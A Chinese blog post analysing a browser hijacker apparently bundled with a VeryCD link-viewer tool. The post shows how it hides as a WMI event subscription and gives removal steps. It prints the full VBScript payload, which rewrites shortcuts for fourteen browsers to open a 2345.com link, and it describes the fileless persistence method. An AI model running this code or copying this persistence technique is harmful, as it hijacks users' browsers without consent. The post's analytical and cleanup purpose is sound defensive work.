近日在网上相续看到有网友表示自己在下载使用了VeryCD下载链接查看器这款工具以后，再打开浏览器就被直接跳转到 www.2345.com/?kunown 这个导航页面了，而且打开多个浏览器：IE、Chrome、Firefox、Opera、Safari、Maxthon，均相同症状，检查浏览器首页设置——均正常！

最后发现，原来快速启动栏的IE浏览器快捷命令被其修改，修改后的类似如下图，于是认为就是普通的修改快捷方式，手工删除 2345 网址的部分，但半小时后再次被更改了。考虑到可能加载了启动项，在注册表、启动项、服务等中均未查找到相关信息，重启后IE快捷方式被重新篡改。尝试了事件查看器和任务计划，均未在里面查出任何信息。

之后又安装了超级兔子、360、exterminateit等工具进行检查，也未检出。

打开ProcessMonitor进行监视，发现每隔30分钟出现一个scrcons.exe进程自动启动并修改快速启动栏的命令，然后自动关闭（幸亏是30分钟一次，你要是24小时一次，那我就杯具了……），修改Win7下opera快速启动图标路径类似如下：

C:\Users\iefans\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Opera12.01 1532.lnk

查找资料，发现这应该是一个通过WMI发起的定时自动运行脚本。要查看WMI事件，到以下地址下载WMITool并安装

http://www.microsoft.com/en-us/download/details.aspx?id=24045

安装后打开WMI event viewer，点击左上角register for events，弹出Connect to namespace框，填入“root\subscription”，确定，出现下图：

点击左侧_EventFilter:Name="unown_filter"，再至右侧右键点击ActiveScriptEventConsume r Name="unown"，选择view instant properties，如下图：

查看ScriptText项可知，这是一段VBScript调用系统服务间隔30分钟执行一次，将所有浏览器调用加上“http://www.2345.com/?kunown”！抓住你了~！隐藏的够深，没常驻进程，没有文件（把自己存储在WMI数据库中）。

受到影响的浏览器有（各色浏览器，差不多齐了）：

"IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"

具体代码如下：

On Error Resume Next:Const link = "http://www.2345.com/?kunown":browsers = Array("IEXPLORE.EXE", "chrome.exe", "firefox.exe", "360chrome.exe", "360SE.exe", "SogouExplorer.exe", "opera.exe", "Safari.exe", "Maxthon.exe", "TTraveler.exe", "TheWorld.exe", "baidubrowser.exe", "liebao.exe", "QQBrowser.exe"):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsers:oDic.Add LCase(browser), browser:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):strDesktop = "C:\Users\Gemini\Desktop":strAllUsersDesktop = WshShell.SpecialFolders("AllUsersDesktop"):QuickLaunch = "C:\Users\Gemini\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch":UserPinnedStartMenu = QuickLaunch & "\User Pinned\StartMenu":UserPinnedTaskBar = QuickLaunch & "\User Pinned\TaskBar":For Each file In fso.GetFolder(strDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:For Each file In fso.GetFolder(strAllUsersDesktop).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:If fso.FolderExists(QuickLaunch) Then:For Each file In fso.GetFolder(QuickLaunch).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedStartMenu) Then:For Each file In fso.GetFolder(UserPinnedStartMenu).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:If fso.FolderExists(UserPinnedTaskBar) Then:For Each file In fso.GetFolder(UserPinnedTaskBar).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:oShellLink.Arguments = link:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If

最后，清除方法：在WMI event viewer中将“_EventFilter:Name="unown_filter"”项目右键删除！

删不掉？

到WMITool安装路径（例如：C:\Program Files (x86)\WMI Tools）下，右键点击wbemeventviewer.exe，选择以管理员身份运行！删之！

还没完，还要手动将快速启动栏中，将各个浏览器快捷命令中的http://www.2345.com/?kunown去掉！

暂时就这么多了，还有没有其它影响的话，用用再看吧！